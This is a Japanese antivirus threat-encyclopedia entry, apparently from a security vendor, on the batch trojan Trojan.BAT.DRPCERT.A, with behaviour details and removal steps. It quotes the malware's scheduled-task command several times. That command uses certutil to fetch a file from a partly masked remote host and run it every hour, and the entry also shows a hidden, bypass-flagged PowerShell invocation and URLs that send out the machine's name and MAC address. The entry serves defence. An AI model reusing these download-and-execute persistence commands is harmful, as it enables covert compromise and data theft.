
Trojan.BAT.DRPCERT.A
Trojan.BAT.Agent.bcr (Kaspersky); Trojan:BAT/Donvibs (Microsoft); Downloader (Norton)
Windows

- マルウェアタイプ: トロイの木馬型
- 破壊活動の有無: なし
- 暗号化: はい
- 感染報告の有無: はい
概要
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
マルウェアは、ワーム活動の機能を備えていません。
マルウェアは、バックドア活動の機能を備えていません。
ただし、情報公開日現在、このWebサイトにはアクセスできません。
マルウェアは、感染コンピュータや感染ユーザから特定の情報を収集します。
詳細
侵入方法
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
インストール
マルウェアは、以下のプロセスを追加します。
- schtasks /create /sc MINUTE /mo 60 /st 07:00:00 /tn Certificate /tr "cmd.exe /c (cd %User Temp%&certutil -urlcache -split -f http://cert.{BLOCKED}h.com/cert.php?ver1={Computer Name} v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)" /F
- "%System%\getmac.exe" /FO CSV
- powershell -nop -w hidden -ep bypass -e {base64 encoded commands}
感染活動
マルウェアは、ワーム活動の機能を備えていません。
バックドア活動
マルウェアは、バックドア活動の機能を備えていません。
ルートキット機能
マルウェアは、ルートキット機能を備えていません。
ダウンロード活動
ただし、情報公開日現在、このWebサイトにはアクセスできません。
情報漏えい
マルウェアは、以下の情報を収集します。
- Computer Name
- Operating System Version
- System Architecture (32-bit or 64-bit)
- Mac Address of the infected machine
その他
マルウェアは、以下を実行します。
- Connects to the following website(s) to download and execute powershell commands:
- http://new.{BLOCKED}h.com/startup.php?ver=1&mac={MAC Address}&ver={OS Version}&bit={System Architecture}
- http://cert.{BLOCKED}h.com/cert.php?ver1={Computer Name}
マルウェアは、脆弱性を利用した感染活動を行いません。
以下のスケジュールされたタスクを追加します:
- Task Name: Certificate
- Trigger(s): 7:00 AM of current date and repeats every 1 hour afterwards
- Action: Execute command "cmd.exe /c (cd %User Temp%&certutil -urlcache -split -f http://cert.{BLOCKED}h.com/cert.php?ver1={Computer Name} v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)"
<補足>
インストール
マルウェアは、以下のプロセスを追加します。
- schtasks /create /sc MINUTE /mo 60 /st 07:00:00 /tn Certificate /tr "cmd.exe /c (cd %User Temp%&certutil -urlcache -split -f http://cert.{BLOCKED}h.com/cert.php?ver1={コンピュータ名} v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)" /F
- "%System%\getmac.exe" /FO CSV
- powershell -nop -w hidden -ep bypass -e {base64でエンコードされたコマンド}
情報漏えい
マルウェアは、以下の情報を収集します。
- コンピュータ名
- オペレーティングシステム(OS)のバージョン
- システムアーキテクチャ (32ビットまたは64ビット)
- 感染コンピュータのMacアドレス
その他
マルウェアは、以下を実行します。
- 以下のWebサイトに接続して、PowerShellコマンドをダウンロードして実行します。
- http://new.{BLOCKED}h.com/startup.php?ver=1&mac={MACアドレス}&ver={OSのバージョン}&bit={システムアーキテクチャ}
- http://cert.{BLOCKED}h.com/cert.php?ver1={コンピュータ名}
以下のスケジュールされたタスクを追加します:
- タスク名: Certificate
- トリガー: 現在の日付の午前7時以降、1時間毎に繰り返す
- アクション: コマンドの実行 "cmd.exe /c (cd %User Temp%&certutil -urlcache -split -f http://cert.{BLOCKED}h.com/cert.php?ver1={コンピュータ名} v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)"
対応方法
手順 1
Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。
手順 2
スケジュールされたタスクを削除する
タスク削除の手順に含まれる{タスク名} - {実行するタスク}には以下が当てはまります。
- Certificate - cmd.exe /c (cd %User Temp%&certutil -urlcache -split -f http://cert.{BLOCKED}h.com/cert.php?ver1={Computer Name} v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)
Windows 2000、Windows XP、Windows Server 2003の場合:
- [スタート]→[プログラム]→[アクセサリ]→[システムツール]→[スケジュールされたタスク]をクリックして、スケジュールされたタスクを開きます。
- 上記の{タスク名} を、[名前]の欄に入力します。
- 入力した{タスク名} 持つファイルを右クリックします。
- [プロパティ]をクリックします。 [実行]フィールドで、表示されている{実行するタスク}を確認します。
- 上記の{実行するタスク}と文字列が一致するタスクを削除します。
Windows Vista、Windows 7、Windows Server 2008、Windows 8、Windows 8.1、およびWindows Server 2012の場合:
- Windowsタスクスケジューラを開きます。
• Windows Vista、Windows 7、Windows Server 2008の場合、[スタート]をクリックし、[検索]フィールドに「taskchd.msc」と入力してEnterキーを押します。
• Windows 8、Windows 8.1、Windows Server 2012の場合、画面の左下隅を右クリックし、[実行]をクリックし、「taskchd.msc」と入力してEnterキーを押します。 - 左側のパネルで、[タスクスケジューラライブラリ]をクリックします。
- 中央上部のパネルで、上記の{タスク名}を[名前]の欄に入力します。
- 中央下部のパネルで、[アクション]タブをクリックします。 [詳細]の欄で、{実行するタスク}を確認します。
- 文字列が一致するタスクを削除します。
手順 3
最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Trojan.BAT.DRPCERT.A」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。
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